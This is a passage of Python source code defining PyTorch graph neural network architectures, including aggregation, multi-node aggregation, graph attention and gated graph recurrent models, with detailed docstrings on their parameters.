nFilterNodes, bias, # Nonlinearity nonlinearity, # Pooling nSelectedNodes, poolingFunction, poolingSize, # MLP in the end dimLayersMLP, # Structure GSO): # Initialize parent: super().__init__() # dimNodeSignals should be a list and of size 1 more than the number of # filter taps (because of the input number of features) assert len(dimNodeSignals) == len(nShiftTaps) + 1 # Filter nodes is a list of int with the number of nodes to select for # the EV part at each layer; it should have the same length as the # number of filter taps assert len(nFilterNodes) == len(nShiftTaps) # nSelectedNodes should be a list of size nShiftTaps, since the number # of nodes in the first layer is always the size of the graph assert len(nSelectedNodes) == len(nShiftTaps) # poolingSize also has to be a list of the same size assert len(poolingSize) == len(nShiftTaps) # Check whether the GSO has features or not. After that, always handle # it as a matrix of dimension E x N x N. assert len(GSO.shape) == 2 or len(GSO.shape) == 3 if len(GSO.shape) == 2: assert GSO.shape[0] == GSO.shape[1] GSO = GSO.reshape([1, GSO.shape[0], GSO.shape[1]]) # 1 x N x N else: assert GSO.shape[1] == GSO.shape[2] # E x N x N # Store the values (using the notation in the paper): self.L = len(nShiftTaps) # Number of graph filtering layers self.F = dimNodeSignals # Features self.K = nShiftTaps # Filter Shift taps self.M = nFilterNodes self.E = GSO.shape[0] # Number of edge features self.N = [GSO.shape[1]] + nSelectedNodes # Number of nodes # See that we adding N_{0} = N as the number of nodes input the first # layer: this above is the list containing how many nodes are between # each layer. self.bias = bias # Boolean self.S = torch.tensor(GSO) self.sigma = nonlinearity self.rho = poolingFunction self.alpha = poolingSize self.dimLayersMLP = dimLayersMLP # And now, we're finally ready to create the architecture: #\\\ Graph filtering layers \\\ # OBS.: We could join this for with the one before, but we keep separate # for clarity of code. evgfl = [] # Node Variant GF Layers for l in range(self.L): #\\ Graph filtering stage: evgfl.append(gml.EdgeVariantGF(self.F[l], self.F[l+1], self.K[l], self.M[l], self.N[0], self.E, self.bias)) # There is a 3*l below here, because we have three elements per # layer: graph filter, nonlinearity and pooling, so after each layer # we're actually adding elements to the (sequential) list. evgfl[3*l].addGSO(self.S) #\\ Nonlinearity evgfl.append(self.sigma()) #\\ Pooling evgfl.append(self.rho(self.N[l], self.N[l+1], self.alpha[l])) # Same as before, this is 3*l+2 evgfl[3*l+2].addGSO(self.S) # And now feed them into the sequential self.EVGFL = nn.Sequential(*evgfl) # Graph Filtering Layers #\\\ MLP (Fully Connected Layers) \\\ fc = [] if len(self.dimLayersMLP) > 0: # Maybe we don't want to MLP anything # The first layer has to connect whatever was left of the graph # signal, flattened. dimInputMLP = self.N[-1] * self.F[-1] # (i.e., we have N[-1] nodes left, each one described by F[-1] # features which means this will be flattened into a vector of size # N[-1]*F[-1]) fc.append(nn.Linear(dimInputMLP, dimLayersMLP[0], bias = self.bias)) # The last linear layer cannot be followed by nonlinearity, because # usually, this nonlinearity depends on the loss function (for # instance, if we have a classification problem, this nonlinearity # is already handled by the cross entropy loss or we add a softmax.) for l in range(len(dimLayersMLP)-1): # Add the nonlinearity because there's another linear layer # coming fc.append(self.sigma()) # And add the linear layer fc.append(nn.Linear(dimLayersMLP[l], dimLayersMLP[l+1], bias = self.bias)) # And we're done self.MLP = nn.Sequential(*fc) # so we finally have the architecture. def forward(self, x): # Now we compute the forward call assert len(x.shape) == 3 batchSize = x.shape[0] assert x.shape[1] == self.F[0] assert x.shape[2] == self.N[0] # Let's call the graph filtering layer y = self.EVGFL(x) # Flatten the output y = y.reshape(batchSize, self.F[-1] * self.N[-1]) # And, feed it into the MLP return self.MLP(y) # If self.MLP is a sequential on an empty list it just does nothing. def to(self, device): # Because only the filter taps and the weights are registered as # parameters, when we do a .to(device) operation it does not move the # GSOs. So we need to move them ourselves. # Call the parent .to() method (to move the registered parameters) super().to(device) # Move the GSO self.S = self.S.to(device) # And all the other variables derived from it. for l in range(self.L): self.EVGFL[3*l].addGSO(self.S) self.EVGFL[3*l+2].addGSO(self.S) class AggregationGNN(nn.Module): """ AggregationGNN: implement the aggregation GNN architecture Initialization: Input: dimFeatures (list of int): number of features on each layer nFilterTaps (list of int): number of filter taps on each layer bias (bool): include bias after graph filter on every layer >> Obs.: dimFeatures[0] is the number of features (the dimension of the node signals) of the data, where dimFeatures[l] is the dimension obtained at the output of layer l, l=1,...,L. Therefore, for L layers, len(dimFeatures) = L+1. Slightly different, nFilterTaps[l] is the number of filter taps for the filters implemented at layer l+1, thus len(nFilterTaps) = L. nonlinearity (torch.nn): module from torch.nn non-linear activations poolingFunction (torch.nn): module from torch.nn pooling layers poolingSize (list of int): size of the neighborhood to compute the summary from at each layer dimLayersMLP (list of int): number of output hidden units of a sequence of fully connected layers after the graph filters have been applied GSO (np.array): graph shift operator of choice. maxN (int): maximum number of neighborhood exchanges (default: None) >> Obs.: The node selected to carry out the aggregation is that one corresponding to the first element in the provided GSO. Output: nn.Module with an Aggregation GNN architecture with the above specified characteristics. Forward call: Input: x (torch.tensor): input data of shape batchSize x dimFeatures x numberNodes Output: y (torch.tensor): output data after being processed by the selection GNN; shape: batchSize x dimLayersMLP[-1] """ def __init__(self, # Graph filtering dimFeatures, nFilterTaps, bias, # Nonlinearity nonlinearity, # Pooling poolingFunction, poolingSize, # MLP in the end dimLayersMLP, # Structure GSO, maxN = None): super().__init__() # dimNodeSignals should be a list and of size 1 more than nFilter taps. assert len(dimFeatures) == len(nFilterTaps) + 1 # poolingSize also has to be a list of the same size assert len(poolingSize) == len(nFilterTaps) # Check whether the GSO has features or not. After that, always handle # it as a matrix of dimension E x N x N. assert len(GSO.shape) == 2 or len(GSO.shape) == 3 if len(GSO.shape) == 2: assert GSO.shape[0] == GSO.shape[1] GSO = GSO.reshape([1, GSO.shape[0], GSO.shape[1]]) # 1 x N x N else: assert GSO.shape[1] == GSO.shape[2] # E x N x N # Store the values (using the notation in the paper): self.L = len(nFilterTaps) # Number of graph filtering layers self.F = dimFeatures # Features self.K = nFilterTaps # Filter taps self.E = GSO.shape[0] self.bias = bias # Boolean self.S = torch.tensor(GSO) self.sigma = nonlinearity self.rho = poolingFunction self.alpha = poolingSize # This acts as both the kernel_size and the # stride, so there is no overlap on the elements over which we take # the maximum (this is how it works as default) self.dimLayersMLP = dimLayersMLP # Maybe we don't want to aggregate information all the way to the end, # but up to some pre-specificed value maxN (for numerical reasons, # mostly) if maxN is None: self.maxN = GSO.shape[1] else: self.maxN = maxN if maxN < GSO.shape[1] else GSO.shape[1] # Let's also record the number of nodes on each layer (L+1, actually) self.N = [self.maxN] for l in range(self.L): # In pyTorch, the convolution is a valid correlation, instead of a # full one, which means that the output is smaller than the input. # Precisely, this smaller (check documentation for nn.conv1d) outConvN = self.N[l] - (self.K[l] - 1) # Size of the conv output # The next equation to compute the number of nodes is obtained from # the maxPool1d help in the pytorch documentation self.N += [int( (outConvN - (self.alpha[l]-1) - 1)/self.alpha[l] + 1 )] # int() on a float always applies floor() # Now, compute the necessary matrix. Recall that we want to build the # vector [[x]_{0}, [Sx]_{0}, [S^2x]_{0}, ..., [S^{N-1}x]_{0}]. But # instead of computing the powers of S^k and then keeping the 0th row, # we will multiply S with a delta = [1, 0, ..., 0]^T and keep each # result in the row. delta = np.zeros([self.E, GSO.shape[1], 1]) # E x N x 1 delta[:, 0, 0] = 1. # E x N x 1 # And create the place where to store all of this SN = delta.copy() # E x N x 1 for k in range(1, self.maxN): delta = GSO @ delta SN = np.concatenate((SN, delta), axis = 2) # E x N x k # This matrix SN just needs to multiply the incoming x to obtain the # aggregated vector. And that's it. self.SN = torch.tensor(SN) # And now, we're finally ready to create the architecture: #\\\ Graph filtering layers \\\ # OBS.: We could join this for with the one before, but we keep separate # for clarity of code. convl = [] # Convolutional Layers for l in range(self.L): #\\ Graph filtering stage: convl.append(nn.Conv1d(self.F[l], self.F[l+1], self.K[l], bias = self.bias)) #\\ Nonlinearity convl.append(self.sigma()) #\\ Pooling convl.append(self.rho(self.alpha[l])) # And now feed them into the sequential self.ConvLayers = nn.Sequential(*convl) # Convolutional layers #\\\ MLP (Fully Connected Layers) \\\ fc = [] if len(self.dimLayersMLP) > 0: # Maybe we don't want to MLP anything # The first layer has to connect whatever was left of the graph # signal, flattened. dimInputMLP = self.N[-1] * self.F[-1] # (i.e., we have N[-1] nodes left, each one described by F[-1] # features which means this will be flattened into a vector of size # N[-1]*F[-1]) fc.append(nn.Linear(dimInputMLP, dimLayersMLP[0], bias = self.bias)) # The last linear layer cannot be followed by nonlinearity, because # usually, this nonlinearity depends on the loss function (for # instance, if we have a classification problem, this nonlinearity # is already handled by the cross entropy loss or we add a softmax.) for l in range(len(dimLayersMLP)-1): # Add the nonlinearity because there's another linear layer # coming fc.append(self.sigma()) # And add the linear layer fc.append(nn.Linear(dimLayersMLP[l], dimLayersMLP[l+1], bias = self.bias)) # And we're done self.MLP = nn.Sequential(*fc) # so we finally have the architecture. def forward(self, x): # Now we compute the forward call assert len(x.shape) == 3 batchSize = x.shape[0] assert x.shape[1] == self.F[0] assert x.shape[2] == self.SN.shape[1] # Let's do the aggregation step z = torch.matmul(x, self.SN) # Let's call the convolutional layers y = self.ConvLayers(z) # Flatten the output y = y.reshape(batchSize, self.F[-1] * self.N[-1]) # And, feed it into the MLP return self.MLP(y) # If self.MLP is a sequential on an empty list it just does nothing. def to(self, device): # Because only the filter taps and the weights are registered as # parameters, when we do a .to(device) operation it does not move the # GSOs. So we need to move them ourselves. # Call the parent .to() method (to move the registered parameters) super().to(device) # Move to device the GSO and its related variables. self.S = self.S.to(device) self.SN = self.SN.to(device) class MultiNodeAggregationGNN(nn.Module): """ MultiNodeAggregationGNN: implement the multi-node aggregation GNN architecture Initialization: Input: nSelectedNodes (list of int): number of selected nodes on each outer layer nShifts (list of int): number of shifts to be done by the selected nodes on each outer layer dimFeatures (list of list of int): the external list corresponds to the outer layers, the inner list to how many features to process on each inner layer (the aggregation GNN on each node) nFilterTaps (list of list of int): the external list corresponds to the outer layers, the inner list to how many filter taps to consider on each inner layer (the aggregation GNN on each node) bias (bool): include bias after graph filter on every layer nonlinearity (torch.nn): module from torch.nn non-linear activations poolingFunction (torch.nn): module from torch.nn pooling layers poolingSize (list of list of int): the external list corresponds to the outer layers, the inner list to the size of the neighborhood to compute the summary from at each inner layer (the aggregation GNN on each node) dimLayersMLP (list of int): number of output hidden units of a sequence of fully connected layers after all the outer layers have been computes GSO (np.array): graph shift operator of choice. Output: nn.Module with a Multi-Node Aggregation GNN architecture with the above specified characteristics. Forward call: Input: x (torch.tensor): input data of shape batchSize x dimFeatures x numberNodes Output: y (torch.tensor): output data after being processed by the multi-node aggregation GNN; shape: batchSize x dimLayersMLP[-1] Example: We want to create a Multi-Node GNN with two outer layers (i.e. two rounds of exchanging information on the graph). In the first round, we select 10 nodes, and in the following round, we select 5. Then, we need to determine how many shifts (how further away) we are going to move information around. In the first round (first outer layer) we shift around 4 times, and in the second round, we shift around 8 times (i.e. we get info from up to the 4-hop neighborhood in the first round, and 8-hop neighborhood in the secound round.) nSelectedNodes = [10, 5] nShifts = [4, 8] At this point, we have finished determining the outer structure (the one that involves exchanging information with neighbors). Now, we need to determine how to process the data within each node (the aggregation GNN that happens at each node). Since we have two outer layers, each of these parameters will be a list containing two lists. Each of these two lists determines the parameters to use to process internally the data. All nodes will use the same structure during each round. Say that we step inside a single node. We start with the signal received at the first outer layer (r=0), i.e., we have a signal of length nShifts[0] = 4. We want to process this signal with a two-layer CNN creating 3 and 6 features, respectively, using 2 filter taps, and with a ReLU nonlinearity in between and a max-pooling of size 2. This will just give an output with 6 features. This processing occurs at all nSelectedNodes[0] = 10 nodes. After the second round, we get a new signal, with 6 features, but of length nShifts[1] = 8 at each of the nSelectedNodes[1] = 5 nodes. Now we want to process it through a two-layer CNN with that creates 12 and 18 features, with filters of size 2, with ReLU nonlinearities (same as before) and a max pooling (same as before) of size 2. The setting is dimFeatures = [[1, 3, 6], [6, 12, 18]] nFilterTaps = [[2, 2], [2, 2]] nonlinearity = nn.ReLU poolingFunction = nn.MaxPool1d poolingSize = [[2, 2], [2, 2]] Recall that between the last convolutional layer (internal) and the output to be shared across nodes, there is an MLP layer adapting the number of features to the expected number of features of the next layer. Once we have all dimFeatures[-1][-1] = 18 features, collected at all nSelectedNodes[-1] = 5, we collect this information in a vector and feed it through two fully-connected layers of size 20 and 10. dimLayersMLP = [20, 10] """ def __init__(self, # Outer Structure nSelectedNodes, nShifts, # Inner Structure # Graph filtering dimFeatures, nFilterTaps, bias, # Nonlinearity nonlinearity, # Pooling poolingFunction, poolingSize, # MLP in the end dimLayersMLP, # Graph Structure GSO): # Initialize parent class super().__init__() # Check that we have an adequate GSO assert len(GSO.shape) == 2 or len(GSO.shape) == 3 # And create a third dimension if necessary if len(GSO.shape) == 2: assert GSO.shape[0] == GSO.shape[1] GSO = GSO.reshape([1, GSO.shape[0], GSO.shape[1]]) # 1 x N x N else: assert GSO.shape[1] == GSO.shape[2] # E x N x N self.N = GSO.shape[1] # Store the number of nodes # Now, the interesting thing is that dimFeatures, nFilterTaps, and # poolingSize are all now lists of lists, and all of them need to have # the same length. self.R = len(nSelectedNodes) # Number of outer layers self.P = nSelectedNodes # Number of nodes selected on each outer layer # Check that the number of selected nodes does not exceed the number # of total nodes. # TODO: Should we consider that the number of nodes might not be # nonincreasing? for r in range(self.R): if self.P[r] > self.N: # If so, just force it to be the number of nodes. self.P[r] = self.N assert len(nShifts) == self.R self.Q = nShifts # Number of shifts of each node on each outer layer assert len(dimFeatures) == len(nFilterTaps) == self.R assert len(poolingSize) == self.R self.F = dimFeatures # List of lists containing the number of features # at each inner layer of each outer layer # Note that we have to add how many features we want in the ``last'' # AggGNN layer before going into the MLP layer. Here, I will just # mix in the number of last specified features, but there are a lot of # other options, like no MLP whatsoever at the end of each convolutional # layer. But, why not? # TODO: (This adds quite the number of parameters, it would be nice to # do some reasonable tests to check whether this MLPs are necessary or # not). self.F.append([dimFeatures[-1][-1]]) self.K = nFilterTaps # List of lists containing the number of filter # taps at each inner layer of each outer layer. self.bias = bias # Boolean to include bias or not self.sigma = nonlinearity # Pointwise nonlinear function to include on # each aggregation GNN self.rho = poolingFunction # To use on every aggregation GNN self.alpha = poolingSize # Pooling size on each aggregation GNN self.dimLayersMLP = dimLayersMLP # MLP for each inner aggregation GNN self.S = torch.tensor(GSO) # Now that there are several things to do next: # - The AggregationGNN module always selects the first node, so if we # want to select the first R, then we have to reorder it ourselves # before adding the GSO to each AggregationGNN structure # - A regular python list does not register the parameters of the # corresponding nn.Module leading to bugs and issues on optimization. # For this the class nn.ModuleList() has been created. Unlike # nn.Sequential(), this class does not have a forward method, because # they are not supposed to act in a cascade way, just to keep track of # dynamically changing numbers of layers. # - Another interesting observation is that, preliminary experiments, # show that nn.ModuleList() is also capable of handling lists of # lists. And this is precisely what we need: the first element (the # outer one) corresponds to each outer layer, and each one of these # elements contains another list with the Aggregation GNNs # corresponding to the number of selected nodes on each outer layer. #\\\ Ordering: # So, let us start with the ordering. P (the number of selected nodes) # determines how many different orders we need (it's just rotating # the indices so that each one of those P is first) # The order will be a list of lists, the outer list having as many # elements as maximum of P. self.order = [list(range(self.N))] # This is the order for the first # selected nodes which is, clearly, the identity order maxP = max(self.P) # Maximum number of nodes to consider for p in range(1, maxP): allNodes = list(range(self.N)) # Create a list of all the nodes in # order. allNodes.remove(p) # Get rid of the element that we need to put # first thisOrder = [p] # Take the pth element, put it in a list thisOrder.extend(allNodes) # extend that list with all other nodes, except for the pth one. self.order.append(thisOrder) # Store this in the order list #\\\ Aggregation GNN stage: self.aggGNNmodules = nn.ModuleList() # List to hold the AggGNN modules # Create the inner modules for r in range(self.R): # Add the list of inner modules self.aggGNNmodules.append(nn.ModuleList()) # And start going through the inner modules for p in range(self.P[r]): thisGSO = GSO[:,self.order[p],:][:,:,self.order[p]] # # Reorder the GSO so that the selected node comes first and # is thus selected by the AggGNN module. # Create the AggGNN module: self.aggGNNmodules[r].append( AggregationGNN(self.F[r], self.K[r], self.bias, self.sigma, self.rho, self.alpha[r], # Now, the number of features in the # output of this AggregationGNN has to # be equal to the number of input # features required at the next AggGNN # layer. [self.F[r+1][0]], thisGSO, maxN = self.Q[r])) # And this should be it for the creation of the AggGNN layers of the # MultiNodeAggregationGNN architecture. We move onto one last MLP fc = [] if len(self.dimLayersMLP) > 0: # Maybe we don't want to MLP anything # The first layer has to connect whatever was left of the graph # signal, flattened. dimInputMLP = self.P[-1] * self.F[-1][0] # (i.e., we have N[-1] nodes left, each one described by F[-1] # features which means this will be flattened into a vector of size # N[-1]*F[-1]) fc.append(nn.Linear(dimInputMLP, dimLayersMLP[0], bias = self.bias)) # The last linear layer cannot be followed by nonlinearity, because # usually, this nonlinearity depends on the loss function (for # instance, if we have a classification problem, this nonlinearity # is already handled by the cross entropy loss or we add a softmax.) for l in range(len(dimLayersMLP)-1): # Add the nonlinearity because there's another linear layer # coming fc.append(self.sigma()) # And add the linear layer fc.append(nn.Linear(dimLayersMLP[l], dimLayersMLP[l+1], bias = self.bias)) # And we're done self.MLP = nn.Sequential(*fc) # so we finally have the architecture. def forward(self, x): # Now we compute the forward call # Check all relative dimensions assert len(x.shape) == 3 batchSize = x.shape[0] assert x.shape[1] == self.F[0][0] assert x.shape[2] == self.N # Create an empty vector to store the output of the AggGNN of each node y = torch.empty(0) # For each outer layer (except the last one, since in the last one we # do not have to zero-pad) for r in range(self.R-1): # For each node for p in range(self.P[r]): # Re-order the nodes so that the selected nodes goes first xReordered = x[:, :, self.order[p]] # Compute the output of each GNN thisOutput = self.aggGNNmodules[r][p](xReordered) # Add it to the corresponding nodes y = torch.cat((y,thisOutput.unsqueeze(2)), dim = 2) # After this, y is of size B x F x P[r], but if we need to keep # going for other outer layers, we need to zero-pad so that we can # keep shifting around on the original graph if y.shape[2] < self.N: # We zero-pad zeroPad = torch.zeros(batchSize, y.shape[1], self.N-y.shape[2]) zeroPad = zeroPad.type(y.dtype).to(y.device) # Save as x x = torch.cat((y, zeroPad), dim = 2) # and reset y y = torch.empty(0) # At this point, note that x (and, before, y) where in order: # the first elements corresponds to the first one in the # original ordering and so on. This means that the self.order # stored for the MultiNode still holds else: # We selected all nodes, so we do not need to zero-pad x = y # Save as x, and reset y y = torch.empty(0) # Last layer: we do not need to zero pad afterwards, so we just compute # the output of the GNN for each node and store that for p in range(self.P[-1]): xReordered = x[:, :, self.order[p]] thisOutput = self.aggGNNmodules[-1][p](xReordered) y = torch.cat((y,thisOutput.unsqueeze(2)), dim = 2) # Flatten the output y = y.reshape(batchSize, self.F[-1][-1] * self.P[-1]) # And, feed it into the MLP return self.MLP(y) # If self.MLP is a sequential on an empty list it just does nothing. def to(self, device): # First, we initialize as always. super().to(device) # And then, in particular, move each architecture (that it will # internally move the GSOs and neighbors and stuff) for r in range(self.R): for p in range(self.P[r]): self.aggGNNmodules[r][p].to(device) class GraphAttentionNetwork(nn.Module): """ GraphAttentionNetwork: implement the graph attention network architecture Initialization: GraphAttentionNetwork(dimNodeSignals, nAttentionHeads, # Graph Filtering nonlinearity, # Nonlinearity nSelectedNodes, poolingFunction, poolingSize, dimLayersMLP, bias, # MLP in the end GSO) # Structure Input: dimNodeSignals (list of int): dimension of the signals at each layer nAttentionHeads (list of int): number of attention heads on each layer >> Obs.: dimNodeSignals[0] is the number of features (the dimension of the node signals) of the data, where dimNodeSignals[l] is the dimension obtained at the output of layer l, l=1,...,L. Therefore, for L layers, len(dimNodeSignals) = L+1. Slightly different, nAttentionHeads[l] is the number of filter taps for the filters implemented at layer l+1, thus len(nAttentionHeads) = L. nonlinearity (torch.nn.functional): function from module torch.nn.functional for non-linear activations nSelectedNodes (list of int): number of nodes to keep after pooling on each layer >> Obs.: The selected nodes are the first nSelectedNodes[l] starting from the first element in the order specified by the given GSO poolingFunction (nn.Module in Utils.graphML): summarizing function poolingSize (list of int): size of the neighborhood to compute the summary from at each layer dimLayersMLP (list of int): number of output hidden units of a sequence of fully connected layers after the graph filters have been applied bias (bool): include bias after each MLP layer GSO (np.array): graph shift operator of choice. Output: nn.Module with a Graph Attention Network architecture with the above specified characteristics. Forward call: GraphAttentionNetwork(x) Input: x (torch.tensor): input data of shape batchSize x dimFeatures x numberNodes Output: y (torch.tensor): output data after being processed by the selection GNN; shape: batchSize x dimLayersMLP[-1] """ def __init__(self, # Graph attentional layer dimNodeSignals, nAttentionHeads, # Nonlinearity (nn.functional) nonlinearity, # Pooling nSelectedNodes, poolingFunction, poolingSize, # MLP in the end dimLayersMLP, bias, # Structure GSO): # Initialize parent: super().__init__() # dimNodeSignals should be a list and of size 1 more than nFilter taps. assert len(dimNodeSignals) == len(nAttentionHeads) + 1 # nSelectedNodes should be a list of size nFilterTaps, since the number # of nodes in the first layer is always the size of the graph assert len(nSelectedNodes) == len(nAttentionHeads) # poolingSize also has to be a list of the same size assert len(poolingSize) == len(nAttentionHeads) # Check whether the GSO has features or not. After that, always handle # it as a matrix of dimension E x N x N. assert len(GSO.shape) == 2 or len(GSO.shape) == 3 if len(GSO.shape) == 2: assert GSO.shape[0] == GSO.shape[1] GSO = GSO.reshape([1, GSO.shape[0], GSO.shape[1]]) # 1 x N x N else: assert GSO.shape[1] == GSO.shape[2] # E x N x N # Store the values (using the notation in the paper): self.L = len(nAttentionHeads) # Number of graph filtering layers self.F = dimNodeSignals # Features self.K = nAttentionHeads # Attention Heads self.E = GSO.shape[0] # Number of edge features self.N = [GSO.shape[1]] + nSelectedNodes # Number of nodes # See that we adding N_{0} = N as the number of nodes input the first # layer: this above is the list containing how many nodes are between # each layer. self.S = torch.tensor(GSO) self.sigma = nonlinearity # This has to be a nn.functional instead of # just a nn self.rho = poolingFunction self.alpha = poolingSize self.dimLayersMLP = dimLayersMLP self.bias = bias # And now, we're finally ready to create the architecture: #\\\ Graph Attentional Layers \\\ # OBS.: The last layer has to have concatenate False, whereas the rest # have concatenate True. So we go all the way except for the last layer gat = [] # Graph Attentional Layers if self.L > 1: # First layer (this goes separate because there are not attention # heads increasing the number of features) #\\ Graph attention stage: gat.append(gml.GraphAttentional(self.F[0], self.F[1], self.K[0], self.E, self.sigma, True)) gat[0].addGSO(self.S) #\\ Pooling gat.append(self.rho(self.N[0], self.N[1], self.alpha[0])) gat[1].addGSO(self.S) # All the next layers (attention heads appear): for l in range(1, self.L-1): #\\ Graph attention stage: gat.append(gml.GraphAttentional(self.F[l] * self.K[l-1], self.F[l+1], self.K[l], self.E, self.sigma, True)) # There is a 2*l below here, because we have two elements per # layer: graph filter and pooling, so after each layer # we're actually adding elements to the (sequential) list. gat[2*l].addGSO(self.S) #\\ Pooling gat.append(self.rho(self.N[l], self.N[l+1], self.alpha[l])) # Same as before, this is 2*l+1 gat[2*l+1].addGSO(self.S) # And the last layer (set concatenate to False): #\\ Graph attention stage: gat.append(gml.GraphAttentional(self.F[self.L-1] * self.K[self.L-2], self.F[self.L], self.K[self.L-1], self.E, self.sigma, False)) gat[2* (self.L - 1)].addGSO(self.S) #\\ Pooling gat.append(self.rho(self.N[self.L-1], self.N[self.L], self.alpha[self.L-1])) gat[2* (self.L - 1) +1].addGSO(self.S) else: # If there's only one layer, it just go straightforward, adding a # False to the concatenation and no increase in the input features # due to attention heads gat.append(gml.GraphAttentional(self.F[0], self.F[1], self.K[0], self.E, self.sigma, False)) gat[0].addGSO(self.S) #\\ Pooling gat.append(self.rho(self.N[l], self.N[l+1], self.alpha[l])) gat[1].addGSO(self.S) # And now feed them into the sequential self.GAT = nn.Sequential(*gat) # Graph Attentional Layers #\\\ MLP (Fully Connected Layers) \\\ fc = [] if len(self.dimLayersMLP) > 0: # Maybe we don't want to MLP anything # The first layer has to connect whatever was left of the graph # signal, flattened. # NOTE: Because sigma is a functional, instead of the layer, then # we need to pick up the layer for the MLP part. if str(self.sigma).find('relu') >= 0: self.sigmaMLP = nn.ReLU() elif str(self.sigma).find('tanh') >= 0: self.sigmaMLP = nn.Tanh() dimInputMLP = self.N[-1] * self.F[-1] # (i.e., we have N[-1] nodes left, each one described by F[-1] # features which means this will be flattened into a vector of size # N[-1]*F[-1]) fc.append(nn.Linear(dimInputMLP, dimLayersMLP[0], bias = self.bias)) # The last linear layer cannot be followed by nonlinearity, because # usually, this nonlinearity depends on the loss function (for # instance, if we have a classification problem, this nonlinearity # is already handled by the cross entropy loss or we add a softmax.) for l in range(len(dimLayersMLP)-1): # Add the nonlinearity because there's another linear layer # coming fc.append(self.sigmaMLP()) # And add the linear layer fc.append(nn.Linear(dimLayersMLP[l], dimLayersMLP[l+1], bias = self.bias)) # And we're done self.MLP = nn.Sequential(*fc) # so we finally have the architecture. def forward(self, x): # Now we compute the forward call assert len(x.shape) == 3 batchSize = x.shape[0] assert x.shape[1] == self.F[0] assert x.shape[2] == self.N[0] # Let's call the graph attentional layers y = self.GAT(x) # Flatten the output y = y.reshape(batchSize, self.F[-1] * self.N[-1]) # And, feed it into the MLP return self.MLP(y) # If self.MLP is a sequential on an empty list it just does nothing. def to(self, device): # Because only the filter taps and the weights are registered as # parameters, when we do a .to(device) operation it does not move the # GSOs. So we need to move them ourselves. # Call the parent .to() method (to move the registered parameters) super().to(device) # Move the GSO self.S = self.S.to(device) # And all the other variables derived from it. for l in range(self.L): self.GAT[2*l].addGSO(self.S) self.GAT[2*l+1].addGSO(self.S) class GatedGCRNNforRegression(nn.Module): """ GatedGCRNNforRegression: implements the full GCRNN architecture, i.e. h_t = sigma(\hat{Q_t}(A(S)*x_t) + \check{Q_t}(B(S)*h_{t-1})) y_t = rho(C(S)*h_t) where: - h_t, x_t, y_t are the state, input and output variables respectively - sigma and rho are the state and output nonlinearities - \hat{Q_t} and \check{Q_t} are the input and forget gate operators, which could be time, node or edge gates (or time+node, time+edge) - A(S), B(S) and C(S) are the input-to-state, state-to-state and state-to-output graph filters In the regression version of the Gated GCRNN, y_t is a graph signal Initialization: GatedGCRNNforRegression(inFeatures, stateFeatures, inputFilterTaps, stateFilterTaps, stateNonlinearity, outputNonlinearity, dimLayersMLP, GSO, bias, time_gating=True, spatial_gating=None, mlpType = 'oneMlp' finalNonlinearity = None, dimNodeSignals=None, nFilterTaps=None, nSelectedNodes=None, poolingFunction=None, poolingSize=None, maxN = None) Input: inFeatures (int): dimension of the input signal at each node stateFeatures (int): dimension of the hidden state at each node inputFilterTaps (int): number of input filter taps stateFilterTaps (int): number of state filter taps stateNonlinearity (torch.nn): sigma, state nonlinearity in the GRNN cell outputNonlinearity (torch.nn): rho, module from torch.nn nonlinear activations dimLayersMLP (list of int): number of hidden units of the MLP layers GSO (np.array): graph shift operator bias (bool): include bias after graph filter on every layer time_gating (bool): time gating flag, default True spatial_gating (string): None, 'node' or 'edge' mlpType (string): either 'oneMlp' or 'multipMLP'; 'multipMLP' corresponds to local MLPs, one per node finalNonlinearity (torch.nn): nonlinearity to apply to y, if any (e.g. softmax for classification) dimNodeSignals (list of int): dimension of the signals at each layer of C(S) if it is a GNN nFilterTaps (list of int): number of filter taps on each layer of C(S) if it is a GNN nSelectedNodes (list of int): number of nodes to keep after pooling on each layer of the C(S) if it is a Selection GNN poolingFunction (nn.Module in Utils.graphML): summarizing function of C(S) if it is a GNN with pooling poolingSize (list of int): size of the neighborhood to compute the summary from at each layer if C(S) is a GNN with pooling maxN (int): maximum number of neighborhood exchanges if C(S) is an Aggregation GNN (default: None) Output: nn.Module with a full GRNN architecture, state + output neural networks, with the above specified characteristics. Forward call: GatedGCRNNforRegression(x) Input: x (torch.tensor): input data of shape batchSize x seqLength x dimFeatures x numberNodes Output: y (torch.tensor): output data of shape batchSize x seqLength x dimFeatures x numberNodes """ def __init__(self, # State GCRNN inFeatures, stateFeatures, inputFilterTaps, stateFilterTaps, stateNonlinearity, # Output NN nonlinearity outputNonlinearity, # MLP in the end dimLayersMLP, # Structure GSO, # Bias bias, # Gating time_gating = True, spatial_gating = None, # Type of MLP, one for all nodes or one, local, per node mlpType = 'oneMlp', # Final nonlinearity, if any, to apply to y finalNonlinearity = None, # Output NN filtering if output NN is GNN dimNodeSignals=None, nFilterTaps=None, # Output NN pooling is output NN is GNN with pooling nSelectedNodes=None, poolingFunction=None, poolingSize=None, maxN = None): # Initialize parent: super().__init__() # Check whether the GSO has features or not. After that, always handle # it as a matrix of dimension E x N x N. assert len(GSO.shape) == 2 or len(GSO.shape) == 3 if len(GSO.shape) == 2: assert GSO.shape[0] == GSO.shape[1] GSO = GSO.reshape([1, GSO.shape[0], GSO.shape[1]]) # 1 x N x N else: assert GSO.shape[1] == GSO.shape[2] # E x N x N # Store the values for the state GRNN (using the notation in the paper): self.F_i = inFeatures # Input features self.K_i = inputFilterTaps # Filter taps of input filter self.F_h = stateFeatures # State features self.K_h = stateFilterTaps # Filter taps of state filter self.E = GSO.shape[0] # Number of edge features self.N = GSO.shape[1] # Number of nodes self.bias = bias # Boolean self.time_gating = time_gating # Boolean self.spatial_gating = spatial_gating # None, "node" or "edge" self.S = torch.tensor(GSO) self.sigma1 = stateNonlinearity # Declare State GCRNN self.stateGCRNN = gml.GGCRNNCell(self.F_i, self.F_h, self.K_i, self.K_h, self.sigma1, self.time_gating, self.spatial_gating, self.E, self.bias) self.stateGCRNN.addGSO(self.S) # Dimensions of output GNN's lfully connected layers or of the output MLP self.dimLayersMLP = dimLayersMLP # Output neural network nonlinearity self.sigma2 = outputNonlinearity # Selection/Aggregation GNN parameters for the output neural network (default None) self.F_o = dimNodeSignals self.K_o = nFilterTaps self.nSelectedNodes = nSelectedNodes self.rho = poolingFunction self.alpha = poolingSize self.maxN = maxN # Nonlinearity to apply to the output, e.g. softmax for classification (default None) self.sigma3 = finalNonlinearity # Type of MLP self.mlpType = mlpType #\\ If output neural network is MLP: if dimNodeSignals is None and nFilterTaps is None: fc = [] if len(self.dimLayersMLP) > 0: # Maybe we don't want to MLP anything if mlpType == 'oneMlp': # The first layer has to connect whatever was left of the graph 